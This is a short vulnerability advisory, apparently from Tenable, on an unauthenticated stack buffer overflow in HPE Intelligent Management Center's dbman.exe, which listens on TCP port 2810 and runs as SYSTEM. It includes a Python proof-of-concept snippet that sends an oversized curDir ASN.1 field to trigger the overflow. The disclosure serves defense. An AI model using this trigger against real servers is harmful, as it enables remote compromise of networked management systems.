[R1] HPE Intelligent Management Center Stack Buffer Overflow

Critical

Synopsis

Tenable discovered a stack buffer overflow vulnerability in HPE Intelligent Management Center's dbman.exe process. The dbman.exe process listens on TCP port 2810 and runs with SYSTEM privileges. The vulnerability can be triggered by an unauthenticated remote attacker, and the overflow is considered to be exploitable.

The vulnerability exists within the processing of RemoteDiskDirReqContent ASN.1 messages. The overflow occurs when the curDir field is populated with an exceptionally long string value (e.g. 2700 “A” characters). The following snippet from our proof of concept illustrates this:

msg = DbmanMsg()
msg['flag'] = 1
msg['curDir'] = "A"*2700

encodedMsg = encoder.encode(msg, defMode=True)
msgLen = len(encodedMsg)
values = (opcode, msgLen, encodedMsg)
s = struct.Struct("<ii%ds" % msgLen)
packed_data = s.pack(*values)

sock.send(packed_data)
sock.close()

Solution

See HPE's bulletin.
